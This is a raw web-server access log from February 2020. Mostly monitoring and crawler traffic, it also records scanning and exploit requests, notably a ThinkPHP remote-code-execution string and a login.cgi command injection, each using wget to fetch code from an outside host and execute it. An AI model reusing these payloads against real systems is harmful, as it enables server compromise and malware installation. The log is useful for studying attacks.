212.91.246.72 - - [13/Feb/2020:15:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:25:14 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
78.97.63.186 - - [13/Feb/2020:15:25:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:26:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.97.63.186 - - [13/Feb/2020:15:27:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:28:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.97.63.186 - - [13/Feb/2020:15:28:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:29:22 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.97.63.186 - - [13/Feb/2020:15:30:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
222.186.19.221 - - [13/Feb/2020:15:30:07 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.243.143.0 - - [13/Feb/2020:15:34:05 +0100] "GET /07dc5686100e4aa610fb59d061b8a217.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:34:05 +0100] "GET /CD4E1AF079B6D2D23B0BBC7BB587C3FE.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:34:05 +0100] "GET /90b7544e414e854f5cddeb1113c6d6ac.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:34:05 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:34:05 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.181 - - [13/Feb/2020:15:36:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:40:42 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.15 - - [13/Feb/2020:15:42:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.103.139.191 - - [13/Feb/2020:15:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.186.19.221 - - [13/Feb/2020:15:44:07 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.243.143.0 - - [13/Feb/2020:15:44:50 +0100] "GET /cee8b221c4e57fbcba782cfb3f1f6eb0.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:44:50 +0100] "GET /6F68ABE5B9063E80EC6FE9594DB181D4.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:44:50 +0100] "GET /a6d76cf68af58d1b70cc3bbcd8adede5.php HTTP/1.1" 404 341 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:44:50 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "-"
35.243.143.0 - - [13/Feb/2020:15:44:50 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:45:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:46:11 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.117.26.235 - - [13/Feb/2020:15:46:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:15:46:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
83.97.20.34 - - [13/Feb/2020:15:46:58 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:15:47:12 +0100] "HEAD / HTTP/1.0" 200 - "-" "-"
66.249.64.213 - - [13/Feb/2020:15:47:20 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.215 - - [13/Feb/2020:15:47:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:15:47:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [13/Feb/2020:15:47:54 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
83.97.20.34 - - [13/Feb/2020:15:48:08 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
212.91.246.72 - - [13/Feb/2020:15:48:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.54.75.17 - - [13/Feb/2020:15:49:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:15:49:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:50:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.122.154.186 - - [13/Feb/2020:15:51:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:15:51:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.220.178 - - [13/Feb/2020:15:52:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:15:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:54:23 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:55:26 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:55:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [13/Feb/2020:15:57:50 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [13/Feb/2020:15:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:15:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [13/Feb/2020:16:03:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.23.222 - - [13/Feb/2020:16:03:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.130 - - [13/Feb/2020:16:07:22 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.158 - - [13/Feb/2020:16:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:16:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.95.165.122 - - [13/Feb/2020:16:07:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.219.201.240 - - [13/Feb/2020:16:10:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:16:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.123.119 - - [13/Feb/2020:16:11:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [13/Feb/2020:16:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.59.89 - - [13/Feb/2020:16:14:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
175.41.44.234 - - [13/Feb/2020:16:14:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
94.154.86.98 - - [13/Feb/2020:16:15:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:16:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.113.229 - - [13/Feb/2020:16:22:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.124.39 - - [13/Feb/2020:16:24:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [13/Feb/2020:16:25:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:16:25:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
82.51.126.105 - - [13/Feb/2020:16:25:18 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
59.7.155.141 - - [13/Feb/2020:16:25:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:16:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.7.155.141 - - [13/Feb/2020:16:25:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.7.155.141 - - [13/Feb/2020:16:25:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:16:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [13/Feb/2020:16:26:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:16:26:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:16:26:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [13/Feb/2020:16:26:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
31.44.116.166 - - [13/Feb/2020:16:27:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
211.192.180.178 - - [13/Feb/2020:16:27:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:16:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
52.129.57.27 - - [13/Feb/2020:16:27:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.133.82.214 - - [13/Feb/2020:16:28:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.179.184 - - [13/Feb/2020:16:31:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.206 - - [13/Feb/2020:16:31:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.189.208.61 - - [13/Feb/2020:16:33:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [13/Feb/2020:16:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.135.22 - - [13/Feb/2020:16:35:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:16:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:16:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
